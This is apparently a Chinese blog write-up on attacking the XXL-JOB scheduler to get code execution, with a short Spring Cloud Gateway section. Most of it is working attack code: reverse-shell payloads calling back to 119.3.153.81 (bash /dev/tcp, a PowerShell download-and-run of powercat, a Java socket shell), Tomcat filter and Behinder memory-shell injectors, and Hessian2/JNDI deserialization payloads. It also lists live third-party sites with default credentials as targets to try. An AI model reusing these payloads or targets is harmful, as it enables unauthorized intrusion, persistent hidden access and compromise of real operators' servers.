Host: 192.168.32.128:9999
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 388
{
"jobId":2,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1586629003729,
"glueType": "GLUE_SHELL",
"glueSource": "bash -i >& /dev/tcp/119.3.153.81/6666 0>&1",
"glueUpdatetime": 1586699003758,
"broadcastIndex": 0,
"broadcastTotal": 0
}
成功得到shell
测试了一下,重复执行好像执行不起,需要修改jobId值:
反弹shell(出网)
计划任务:0 0 0 * * ? *
windows反弹shell(测试不成功)
powercat是netcat的powershell版本,功能免杀性都要比netcat好用的多。
# 起python服务
cd /root/tools/reverse_shell/
python3 -m http.server 8000
# 监听
nc -lvnp 6666
# 反弹shell命令
powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://119.3.153.81:8000/powercat.ps1');powercat -c 119.3.153.81 -p 6666 -e cmd"
测试地址:https://www.06687.com、http://107.149.212.127:9090 admin/123456。菠菜网站应该随便试。
linux反弹shell:
运行模式选择 GLUE(Shell)
,在WebIDE中添加代码,直接反弹就行了。
#!/bin/bash
bash -i >& /dev/tcp/119.3.153.81/6666 0>&1
java代码反弹shell
官方文档:分布式任务调度平台XXL-JOB,java的模板如下:
package com.xxl.job.service.handler;
import com.xxl.job.core.log.XxlJobLogger;
import com.xxl.job.core.biz.model.ReturnT;
import com.xxl.job.core.handler.IJobHandler;
public class DemoGlueJobHandler extends IJobHandler {
@Override
public ReturnT<String> execute(String param) throws Exception {
XxlJobLogger.log("XXL-JOB, Hello World.");
return ReturnT.SUCCESS;
}
}
参考文章中的代码:https://xz.aliyun.com/t/13899,但是很明显不对,没有继承IJobHandler
。
在IDEA中导入依赖:
<!-- https://mvnrepository.com/artifact/com.xuxueli/xxl-job-core -->
<dependency>
<groupId>com.xuxueli</groupId>
<artifactId>xxl-job-core</artifactId>
<version>2.2.0</version>
</dependency>
然后修改类,修改方法为execute,添加继承:public class execJobHandler extends IJobHandler
package MemShell.xxljob;
import com.xxl.job.core.biz.model.ReturnT;
import com.xxl.job.core.handler.IJobHandler;
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.OutputStreamWriter;
import java.net.Socket;
public class execJobHandler extends IJobHandler {
class StreamConnector extends Thread {
InputStream hx;
OutputStream il;
StreamConnector(InputStream hx, OutputStream il) {
this.hx = hx;
this.il = il;
}
public void run() {
BufferedReader ar = null;
BufferedWriter slm = null;
try {
ar = new BufferedReader(new InputStreamReader(this.hx));
slm = new BufferedWriter(new OutputStreamWriter(this.il));
char[] buffer = new char[8192];
int length;
while ((length = ar.read(buffer, 0, buffer.length)) > 0) {
slm.write(buffer, 0, length);
slm.flush();
}
} catch (Exception localException) {
}
try {
if (ar != null) {
ar.close();
}
if (slm != null) {
slm.close();
}
} catch (Exception localException1) {
}
}
}
public ReturnT<String> execute(String param) throws Exception{
reverseConn("119.3.153.81:6666");
return ReturnT.SUCCESS;
}
public static void main(String[] args) {
System.out.println("0");
}
public void reverseConn(String ip) {
String ipport = ip;
try
{
String ShellPath;
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
ShellPath = new String("/bin/sh");
} else {
ShellPath = new String("cmd.exe");
}
Socket socket = new Socket(ipport.split(":")[0],
Integer.parseInt(ipport.split(":")[1]));
Process process = Runtime.getRuntime().exec(ShellPath);
new StreamConnector(process.getInputStream(),
socket.getOutputStream()).start();
new StreamConnector(process.getErrorStream(),
socket.getOutputStream()).start();
new StreamConnector(socket.getInputStream(),
process.getOutputStream()).start();
}
catch (Exception e)
{
e.printStackTrace();
}
}
}
执行后反弹shell成功
命令执行回显(不出网)
代码:
package com.xxl.job.service.handler;
import com.xxl.job.core.log.XxlJobLogger;
import com.xxl.job.core.biz.model.ReturnT;
import com.xxl.job.core.handler.IJobHandler;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
public class DemoGlueJobHandler extends IJobHandler {
@Override
public ReturnT<String> execute(String param) throws Exception {
XxlJobLogger.log("XXL-JOB, Hello World.");
String command = "ls ./";
try {
String commandOutput = executeCommand(command);
XxlJobLogger.log("Command Output:\n" + commandOutput);
} catch (IOException e) {
XxlJobLogger.log("Error executing command: " + e.getMessage());
return ReturnT.FAIL;
}
return ReturnT.SUCCESS;
}
private String executeCommand(String command) throws IOException {
Process process = Runtime.getRuntime().exec(command);
StringBuilder output = new StringBuilder();
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
output.append(line).append("\n");
}
int exitCode;
try {
exitCode = process.waitFor();
} catch (InterruptedException e) {
Thread.currentThread().interrupt();
throw new IOException("Command execution interrupted");
}
if (exitCode != 0) {
throw new IOException("Command execution failed with exit code: " + exitCode);
}
return output.toString();
}
}
调度日志——执行日志,查看结果
后台注filter+冰蝎内存马
参考:
- xxl-job-executor注入filter内存马-https://xz.aliyun.com/t/13443,注意文章中代码只适用于
v2.3.0
,不过修改也很简单,替换XxlJobHelper
为XxlJobLogger
即可。
条件:
- 管理端admin、执行端executor不在同一机器
- 使用Tomcat
原理:
适用于你能访问到执行器的情况,执行器的web
接口使用的是netty
,但他还存在一个web服务是基于spring
的,默认端口为8081
,对应配置文件在src/main/resources/application.properties
,正常来说是开启的。
# web port
server.port=8081
# no web
#spring.main.web-environment=false
注意写代码的时候有个区别:
v2.3.0
才有XxlJobHelper
v2.2.0
使用的是XxlJobLogger
,execute
函数固定返回类型必须为ReturnT<String>
其实也就是日志输出的代码变了:版本2.2.0代码:
package MemShell.xxljob;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.IOException;
import com.xxl.job.core.biz.model.ReturnT;
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Constructor;
import java.util.ArrayList;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
//import com.xxl.job.core.context.XxlJobLogger;
import com.xxl.job.core.log.XxlJobLogger;
import com.xxl.job.core.handler.IJobHandler;
public class FilterMemhellJobHandler extends IJobHandler {
public Object getField(Object obj, String fieldName){
try {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
obj = field.get(obj);
} catch (IllegalAccessException e) {
XxlJobLogger.log(e.toString());
return null;
} catch (NoSuchFieldException e) {
XxlJobLogger.log(e.toString());
return null;
}
return obj;
}
public Object getSuperClassField(Object obj, String fieldName){
try {
Field field = obj.getClass().getSuperclass().getDeclaredField(fieldName);
field.setAccessible(true);
obj = field.get(obj);
} catch (IllegalAccessException e) {
XxlJobLogger.log(e.toString());
return null;
} catch (NoSuchFieldException e) {
XxlJobLogger.log(e.toString());
return null;
}
return obj;
}
public ReturnT<String> execute(String param) throws Exception {
Object obj = null;
String port = "";
String filterName = "xxl-job-filter";
// 1.创建filter
Filter filter = new Filter() {
public void init(FilterConfig filterConfig) throws ServletException {
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
HttpServletResponse resp = (HttpServletResponse) servletResponse;
if (req.getParameter("cmd") != null) {
// 由于xxl-job中的groovy不支持new String[]{"cmd.exe", "/c", req.getParameter("cmd")};这种语法,使用ArrayList的方式绕过
ArrayList<String> cmdList = new ArrayList<>();
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
cmdList.add("cmd.exe");
cmdList.add("/c");
} else {
cmdList.add("/bin/bash");
cmdList.add("-c");
}
cmdList.add(req.getParameter("cmd"));
String[] cmds = cmdList.toArray(new String[0]);
Process process = new ProcessBuilder(cmds).start();
InputStream inputStream = process.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream, "UTF-8"));
String line;
while ((line = reader.readLine()) != null) {
servletResponse.getWriter().println(line);
}
process.destroy();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}
public void destroy() {
}
};
//2. 创建一个FilterDef 然后设置filterDef的名字,和类名,以及类
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(filterName);
filterDef.setFilterClass(filter.getClass().getName());
//3. 创建一个filterMap
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(filterName);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
//4. 创建ApplicationFilterConfig构造函数
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
//5. 找StandardContext
/*获取group*/
Thread currentThread = Thread.currentThread();
Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");
groupField.setAccessible(true);
ThreadGroup group = (ThreadGroup)groupField.get(currentThread);
/*获取threads*/
Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads");
threadsField.setAccessible(true);
Thread[] threads = (Thread[])threadsField.get(group);
for (Thread thread : threads) {
String threadName = thread.getName();
/*获取tomcat container*/
if (threadName.contains("container")) {
/*获取this$0*/
obj = getField(thread, "this\$0");
if (port == "") {
continue;
} else {
break;
}
} else if (threadName.contains("http-nio-") && threadName.contains("-ClientPoller")) {
/*获取web端口,可在log中查看,默认8081端口*/
port = threadName.substring(9, threadName.length() - 13);
if (obj == null){
continue;
} else {
break;
}
}
}
obj = getField(obj, "tomcat");
obj = getField(obj, "server");
org.apache.catalina.Service[] services = (org.apache.catalina.Service[])getField(obj, "services");
for (org.apache.catalina.Service service : services){
try {
obj = getField(service, "engine");
if (obj != null) {
HashMap children = (HashMap)getSuperClassField(obj, "children");
// xxl-job-executor tomcat9 默认是localhost,并未考虑特殊情况
obj = children.get("localhost");
children = (HashMap)getSuperClassField(obj, "children");
// 获取StandardContext
StandardContext standardContext = (StandardContext) children.get("");
standardContext.addFilterDef(filterDef);
// 将FilterDefs 添加到FilterConfig
Map filterConfigs = (Map) getSuperClassField(standardContext, "filterConfigs");
// 添加ApplicationFilterConfig
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(filterName,filterConfig);
//将自定义的filter放到最前边执行
standardContext.addFilterMapBefore(filterMap);
XxlJobLogger.log("success! memshell port:"+port);
}
} catch (Exception e){
XxlJobLogger.log(e.toString());
continue;
}
}
return ReturnT.SUCCESS;
}
}
通过java执行即可,本地测试可以成功,端口是8081。弹计算器:
2.3.0的代码如下:
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.IOException;
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Constructor;
import java.util.ArrayList;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
import com.xxl.job.core.context.XxlJobHelper;
import com.xxl.job.core.handler.IJobHandler;
public class DemoGlueJobHandler extends IJobHandler {
public Object getField(Object obj, String fieldName){
try {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
obj = field.get(obj);
} catch (IllegalAccessException e) {
XxlJobHelper.log(e.toString());
return null;
} catch (NoSuchFieldException e) {
XxlJobHelper.log(e.toString());
return null;
}
return obj;
}
public Object getSuperClassField(Object obj, String fieldName){
try {
Field field = obj.getClass().getSuperclass().getDeclaredField(fieldName);
field.setAccessible(true);
obj = field.get(obj);
} catch (IllegalAccessException e) {
XxlJobHelper.log(e.toString());
return null;
} catch (NoSuchFieldException e) {
XxlJobHelper.log(e.toString());
return null;
}
return obj;
}
public void execute() throws Exception {
Object obj = null;
String port = "";
String filterName = "xxl-job-filter";
// 1.创建filter
Filter filter = new Filter() {
public void init(FilterConfig filterConfig) throws ServletException {
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
HttpServletResponse resp = (HttpServletResponse) servletResponse;
if (req.getParameter("cmd") != null) {
// 由于xxl-job中的groovy不支持new String[]{"cmd.exe", "/c", req.getParameter("cmd")};这种语法,使用ArrayList的方式绕过
ArrayList<String> cmdList = new ArrayList<>();
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
cmdList.add("cmd.exe");
cmdList.add("/c");
} else {
cmdList.add("/bin/bash");
cmdList.add("-c");
}
cmdList.add(req.getParameter("cmd"));
String[] cmds = cmdList.toArray(new String[0]);
Process process = new ProcessBuilder(cmds).start();
InputStream inputStream = process.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream, "UTF-8"));
String line;
while ((line = reader.readLine()) != null) {
servletResponse.getWriter().println(line);
}
process.destroy();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}
public void destroy() {
}
};
//2. 创建一个FilterDef 然后设置filterDef的名字,和类名,以及类
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(filterName);
filterDef.setFilterClass(filter.getClass().getName());
//3. 创建一个filterMap
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(filterName);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
//4. 创建ApplicationFilterConfig构造函数
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
//5. 找StandardContext
/*获取group*/
Thread currentThread = Thread.currentThread();
Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");
groupField.setAccessible(true);
ThreadGroup group = (ThreadGroup)groupField.get(currentThread);
/*获取threads*/
Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads");
threadsField.setAccessible(true);
Thread[] threads = (Thread[])threadsField.get(group);
for (Thread thread : threads) {
String threadName = thread.getName();
/*获取tomcat container*/
if (threadName.contains("container")) {
/*获取this$0*/
obj = getField(thread, "this\$0");
if (port == "") {
continue;
} else {
break;
}
} else if (threadName.contains("http-nio-") && threadName.contains("-ClientPoller")) {
/*获取web端口,可在log中查看,默认8081端口*/
port = threadName.substring(9, threadName.length() - 13);
if (obj == null){
continue;
} else {
break;
}
}
}
obj = getField(obj, "tomcat");
obj = getField(obj, "server");
org.apache.catalina.Service[] services = (org.apache.catalina.Service[])getField(obj, "services");
for (org.apache.catalina.Service service : services){
try {
obj = getField(service, "engine");
if (obj != null) {
HashMap children = (HashMap)getSuperClassField(obj, "children");
// xxl-job-executor tomcat9 默认是localhost,并未考虑特殊情况
obj = children.get("localhost");
children = (HashMap)getSuperClassField(obj, "children");
// 获取StandardContext
StandardContext standardContext = (StandardContext) children.get("");
standardContext.addFilterDef(filterDef);
// 将FilterDefs 添加到FilterConfig
Map filterConfigs = (Map) getSuperClassField(standardContext, "filterConfigs");
// 添加ApplicationFilterConfig
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(filterName,filterConfig);
//将自定义的filter放到最前边执行
standardContext.addFilterMapBefore(filterMap);
XxlJobHelper.log("success! memshell port:"+port);
}
} catch (Exception e){
XxlJobHelper.log(e.toString());
continue;
}
}
}
}
本地测试,也是能成功注入v2.3.0
注冰蝎马,注冰蝎马也很简单, 修改一下dofilter
的代码即可:
package MemShell.xxljob;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.BufferedReader;
import java.io.IOException;
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
import com.xxl.job.core.context.XxlJobHelper;
import com.xxl.job.core.handler.IJobHandler;
public class DemoGlueJobHandler extends IJobHandler {
public Object getField(Object obj, String fieldName){
try {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
obj = field.get(obj);
} catch (IllegalAccessException e) {
XxlJobHelper.log(e.toString());
return null;
} catch (NoSuchFieldException e) {
XxlJobHelper.log(e.toString());
return null;
}
return obj;
}
public Object getSuperClassField(Object obj, String fieldName){
try {
Field field = obj.getClass().getSuperclass().getDeclaredField(fieldName);
field.setAccessible(true);
obj = field.get(obj);
} catch (IllegalAccessException e) {
XxlJobHelper.log(e.toString());
return null;
} catch (NoSuchFieldException e) {
XxlJobHelper.log(e.toString());
return null;
}
return obj;
}
public void execute() throws Exception {
Object obj = null;
String port = "";
String filterName = "xxl-job-filter";
// 1.创建filter
Filter filter = new Filter() {
public void init(FilterConfig filterConfig) throws ServletException {
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
try {
// System.out.println("Do Filter BX ......");
// 获取request和response对象
HttpServletRequest request = (HttpServletRequest) servletRequest;
HttpServletResponse response = (HttpServletResponse)servletResponse;
HttpSession session = request.getSession();
//create pageContext
HashMap pageContext = new HashMap();
pageContext.put("request",request);
pageContext.put("response",response);
pageContext.put("session",session);
if (request.getMethod().equals("POST")) {
String k = "e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
session.putValue("u", k);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
//revision BehinderFilter
Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
method.setAccessible(true);
byte[] evilclass_byte = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));
Class evilclass = (Class) method.invoke(this.getClass().getClassLoader(), evilclass_byte,0, evilclass_byte.length);
evilclass.newInstance().equals(pageContext);
}
}catch (Exception e){
e.printStackTrace();
}
filterChain.doFilter(servletRequest, servletResponse);
}
public void destroy() {
}
};
//2. 创建一个FilterDef 然后设置filterDef的名字,和类名,以及类
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(filterName);
filterDef.setFilterClass(filter.getClass().getName());
//3. 创建一个filterMap
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(filterName);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
//4. 创建ApplicationFilterConfig构造函数
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
//5. 找StandardContext
/*获取group*/
Thread currentThread = Thread.currentThread();
Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");
groupField.setAccessible(true);
ThreadGroup group = (ThreadGroup)groupField.get(currentThread);
/*获取threads*/
Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads");
threadsField.setAccessible(true);
Thread[] threads = (Thread[])threadsField.get(group);
for (Thread thread : threads) {
String threadName = thread.getName();
/*获取tomcat container*/
if (threadName.contains("container")) {
/*获取this$0*/
obj = getField(thread, "this\$0");
if (port == "") {
continue;
} else {
break;
}
} else if (threadName.contains("http-nio-") && threadName.contains("-ClientPoller")) {
/*获取web端口,可在log中查看,默认8081端口*/
port = threadName.substring(9, threadName.length() - 13);
if (obj == null){
continue;
} else {
break;
}
}
}
obj = getField(obj, "tomcat");
obj = getField(obj, "server");
org.apache.catalina.Service[] services = (org.apache.catalina.Service[])getField(obj, "services");
for (org.apache.catalina.Service service : services){
try {
obj = getField(service, "engine");
if (obj != null) {
HashMap children = (HashMap)getSuperClassField(obj, "children");
// xxl-job-executor tomcat9 默认是localhost,并未考虑特殊情况
obj = children.get("localhost");
children = (HashMap)getSuperClassField(obj, "children");
// 获取StandardContext
StandardContext standardContext = (StandardContext) children.get("");
standardContext.addFilterDef(filterDef);
// 将FilterDefs 添加到FilterConfig
Map filterConfigs = (Map) getSuperClassField(standardContext, "filterConfigs");
// 添加ApplicationFilterConfig
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(filterName,filterConfig);
//将自定义的filter放到最前边执行
standardContext.addFilterMapBefore(filterMap);
XxlJobHelper.log("success! memshell port:"+port);
}
} catch (Exception e){
XxlJobHelper.log(e.toString());
continue;
}
}
}
}
执行后连接冰蝎成功
API Hessian反序列化
参考:
- 记一次曲折的XXL-JOB API Hessian反序列化到Getshell-https://forum.butian.net/share/2592
- XXL-JOB Hessian2反序列化漏洞-http://www.mi1k7ea.com/2021/04/22/XXL-JOB-Hessian2反序列化漏洞/
影响版本:XXL-JOB <= 2.0.2
漏洞原理:XXL-JOB
在2.0.2
及以下版本中的接口存在未授权访问漏洞,该接口会进行Hessian2
反序列化操作,导致存在Hessian2
反序列化漏洞从而RCE
。
使用工具JNDIExploit-1.0-https://github.com/welk1n/JNDI-Injection-Exploit:
cd ~/tools/java-tools/JNDIExploit-1.0
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -A 119.3.153.81 -C "curl a98aca9a9b.ipv6.1433.eu.org."
利用最新版marshalsec的Hessian2这个Gadget来生成payload:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian2 SpringAbstractBeanFactoryPointcutAdvisor rmi://119.3.153.81:1099/b3btbb > xxl.ser
在Burp
中,使用”Paste from file
”选项从文件中直接复制Hessian2
序列化内容到POST
的body
中,发送攻击报文,如下响应内容即无序列化内容的格式问题:
注Agent内存马
参考:
- 《XXL-JOB 深度利用》-https://mp.weixin.qq.com/s/8KZzBEX36noXBGFlWa1UQQ
- 《xxl-job利用研究》-https://www.kitsch.life/2024/01/31/xxl-job利用研究/
条件:
适用于调度平台和执行器在一台机器上的情况,原理是写一个agent内存马的jar到本地,再打agent内存马到调度平台的进程上,注意不是执行器的进程。
先用的《xxl-job利用研究》里的agent内存马。
因为是windows,修改代码里的路径为C:\Windows\Temp
,然后我这里是xxl-job v2.3.0,修改代码中的XxlJobLogger为XxlJobHelper。
最后代码v2.3.0:
代码量太多了,CSDN好像放不下,见语雀:https://ganmaocai.yuque.com/ghgp8x/zoy1yn/faet35ae9gpxzn61#ecPWo)
打成功了,但是连接不上进windows查看发现目录下生成了xxl-job.jar,手工执行了一下,发现注入内存马没成功,应该是jar包的问题。
于是换agent马,地址:https://github.com/veo/vagent
需要先把这个Agent马转换为压缩包+base64的格式,脚本如下:
package MemShell.Agent;
import java.io.*;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.zip.*;
import java.io.File;
import java.io.IOException;
public class DecompressAndEncodeToBase64 {
public static void main(String[] args) throws Exception {
String base64String = readAndCompressFileToBase64("C:\\Windows\\Temp\\vagent.jar");
base64String = generateOutput(base64String);
BufferedWriter writer = new BufferedWriter(new OutputStreamWriter(
new FileOutputStream("C:\\Windows\\Temp\\xxl-jobs.txt"), StandardCharsets.UTF_8));
writer.write(base64String);
writer.close();
}
public static String readAndCompressFileToBase64(String filePath) {
try {
byte[] fileBytes = Files.readAllBytes(Paths.get(filePath));
Deflater deflater = new Deflater();
deflater.setInput(fileBytes);
deflater.finish();
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
byte[] buffer = new byte[1024];
while (!deflater.finished()) {
int count = deflater.deflate(buffer);
byteArrayOutputStream.write(buffer, 0, count);
}
deflater.end();
byte[] compressedBytes = byteArrayOutputStream.toByteArray();
String base64String = Base64.getEncoder().encodeToString(compressedBytes);
return base64String;
} catch (IOException e) {
e.printStackTrace();
return null;
}
}
private static String generateOutput(String string) {
/*
* 将字符串分割成指定长度的子字符串列表。
*/
int splitLength = 200;
int groupSize = 200;
String[] substrings = new String[(int) Math.ceil((double) string.length() / splitLength)];
for (int i = 0; i < substrings.length; i++) {
int start = i * splitLength;
int end = Math.min(start + splitLength, string.length());
substrings[i] = string.substring(start, end);
}
StringBuilder sb = new StringBuilder();
/*
* 将字符串分割成指定长度的子字符串,并生成 Java 代码输出。
* 每个 private static void init{}(){} 方法包含 groupSize 行输出。
*/
for (int i = 0; i < substrings.length; i++) {
if (i % groupSize == 0) {
// 输出 private static void init{}(){} 方法头部
sb.append("private static void init").append(i / groupSize).append("() {\n");
}
// 输出当前子字符串
sb.append("\tsb.append(\"").append(substrings[i]).append("\");\n");
if ((i + 1) % groupSize == 0 || i == substrings.length - 1) {
// 输出 private static void init{}(){} 方法尾部
sb.append("}\n\n");
}
}
System.out.println(sb.toString());
return sb.toString();
}
}
处理后是这样的最后代码如下:
代码量太多了,CSDN好像放不下,见语雀:https://ganmaocai.yuque.com/ghgp8x/zoy1yn/faet35ae9gpxzn61#ecPWo)
添加任务执行
然后再注入
地址:http://192.168.32.129:8080/xxl-job-admin/faviconb
密码:自定义加解密协议
加解密协议如下,代码见github:然后连接
这次是成功了,冰蝎成功连接
但是发现个问题,好像系统没法正常使用了,一直爆这个错:
后面再研究研究
后台注netty内存马
参考:《xxl-job利用研究》-https://www.kitsch.life/2024/01/31/xxl-job利用研究/
注意:
踩的坑有groovy
里的$
需要被转义,不然val$eventExecutor
会等价于eventExecutor
。注册的handler
必须加上@ChannelHandler.Sharable
标签,否则会执行器会报错崩溃。
然后netty
缺点:
坏消息是这个内存马的实现是替换了handler,所以原本执行逻辑会消失,建议跑路前重启一下执行器
效果:
Spring cloud gateway
搭建环境
cd spring/CVE-2022-22947
docker-compose up -d
idea引入依赖
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-starter-gateway</artifactId>
<version>3.0.3</version>
</dependency>
<dependency>
<groupId>io.netty</groupId>
<artifactId>netty-all</artifactId>
<version>4.1.63.Final</version>
</dependency>
参考
参考以下文章:
- 利用shiro反序列化注入冰蝎内存马-https://xz.aliyun.com/t/10696
- 冰蝎改造之不改动客户端=>内存马-https://mp.weixin.qq.com/s/r4cU84fASjflHrp-pE-ybg
- Spring cloud gateway通过SPEL注入内存马-https://gv7.me/articles/2022/the-spring-cloud-gateway-inject-memshell-through-spel-expressions/